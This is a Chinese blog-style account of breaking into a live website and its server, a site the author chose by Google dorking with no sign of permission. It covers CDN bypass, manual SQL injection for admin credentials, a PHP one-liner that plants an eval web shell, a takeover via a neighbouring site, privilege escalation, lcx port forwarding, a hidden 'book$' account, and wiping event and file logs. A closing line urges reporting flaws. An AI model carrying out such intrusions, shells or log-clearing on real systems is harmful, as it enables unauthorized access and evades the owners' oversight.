一次渗透测试

一、前言：经过多个月的学习，我觉得是时候需要一次实战来验证这几个月的学习效果了，而且伟人常说 实践出真理，实践还可以遇到很多平时没有遇到的实际问题。

二、网站测试过程：
1、网站的选择： 对于这次测试的网站的选择我是使用googlehack语法来搜索的，对于如何使用Googlehack语法我就不说了，网上有使用教程，运气很好不用多久我找到了一个可以对其进行测试的网站。
2、网站进行信息收集：
Whois信息–注册人、电话、邮箱、DNS、地址
Googlehack–敏感目录、敏感文件、后台地址
服务器IP–Nmap扫描、端口对应的服务、C段、旁站
服务器、组件（指纹）–操作系统、web server（apache，nginx，iis）、脚本语言，数据库类型等等…

首先我进行多地ping 发现并没有cdn，运气比较好，如果我们测试的网站存在cdn该怎么获取真实ip
a.通过查询历史dns记录找真实ip
b.通过查找子域名，因为cdn价格比较昂贵，大多数网站就对主站使用cdn，所以我们可以通过子域名来get到真实的ip地址
c.让该网站的服务器主机连接我们，我们可以通过注册功能，注册，注册时有些网站会给我们的邮箱发送邮件，这样我们查看邮箱的原文就可以知道网站真实ip
d.使用国外的主机去访问目标网站也可以获取ip

根据ip对端口进行收集发现开的端口不多，还有一些不知道什么服务的端口。3306、1433可以进行爆破等等。
我们对网站进行指纹识别一下，信息如图下，emm… joomla cms 在国内并不常见啊

3、网站的漏洞挖掘跟验证：
这个就因为我用googlehack搜到存在注入，所以就以进行sql注入来测试网站，其他的漏洞还没去测试，所以下面我以SQL注入来测试这个网站，在我进行注入时并没有拦截我的语句，也就很顺利提供手工注入拿到管理员的账号密码，（这鬼知道我为什么没有用工具跑。。而选择手工测试）因为刚在信息收集时已经通过工具知道登陆后台的地址http://xxxx.com/master/index.php

4、拿shell：

4.1登陆后台看下怎么可以进行下一步拿shell，网站的结构非常的简单，Joomla经过二次开发了，并没有网上原版Joomla存在的漏洞了，不过发现可以进行上传图片文件的地方，上传PHP文件不可行，那上传jpg格式的有一句话马，通过burp抓包修改看看，通过各种%00截断、00截断、修改mime类型等操作都发现失败。。

这时想想IIS7.5的漏洞可不可以利用，OK，马上去写了一个001.jpg的图片，内容为 <?PHPfputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?> 这个内容意思是写入一个内容为 <?php eval($_POST[cmd])?> 名称为shell.php的文件，这样我们访问http://xxxx.com/xxxxxx/xxxx/001.jpg/.php 就会在图片目录下生成一句话木马 shell.php，密码为cmd，不过结果还是不可行，这个原因后面会讲到。。。

4.2现在上传已经拿不了shell了，去看看刚刚扫描到的目录文件，看到一个文件名为config/conn.php的目录，访问为空白页面，想一下这跟ASP网站的inc/config.asp目录是不是很相似转换思维，像ASP那样通过插马访问config/conn.php目录可不可以拿shell，好，开始对网站进行插马，进行闭合等等操作
结果又一次失败，而失败的原因应该是我没有修改网站脚本的权限。

4.3回去看后台目录，找到一个改名的PHPinfo页面1.php。

从这里我们得到很多信息，包括刚刚利用IIS7.5为什么没有成功，因为php.ini里cgi.fix_pathinfo=1 。不过得到物理路径，可以尝试直接注入写shell
被拦截了，我使用变形的PHP一句话结果也是拦截。利用sqlmap交互写shell，发现不是dba，压根就没有写入权限，不拦截我也写不进去啊。。。
做到这步，我试过很多种方法都没getshell，看来还是自己菜啊，不过也不会因此放弃，既然主站的防护做的好，那我可以通过旁站去拿。

5.旁站：
5.1 去筛选存在漏洞的旁站：
在如此多的网站中。我找到一个存在上传漏洞的上传点，然后把马上传上去。
6. 提权：查看大马组件发现cmd组件都没了，应该是被某些安全软件删除了，那需要自己上传cmd执行命令。把cmd上传到可读可写权限的目录下权限是network需进一步提升权限。执行systeminfo查看补丁数量，发现才7个，那就上传免杀的pr，利用内存溢出直接提权

本来打算上传PwDump读取管理员的hash值的，结果上传上去执行不了，可能被杀掉了。输入netstat -ano查看发现80端口不是原有的地址，是个内网地址，外网把内网的80端口映射出来。那就上传lcx做内网端口转发吧，同样上传到可读可写的目录下
lcx转发：本机上
目标主机上

本机打开远程连接输127.0.0.1 13111 就可以输入新建的book$来登陆了，这样就拿下服务器了。

7. 清理日记痕迹：需要清除计算机管理的事件查看器的安全性我们用book$登陆的记录，还有C:\windows\system32\logfiles\下的包含操作记录日记。最后最后不要有坏心思，尽量把发现的漏洞提交到漏洞平台，一起维护网络的安全 努力吧。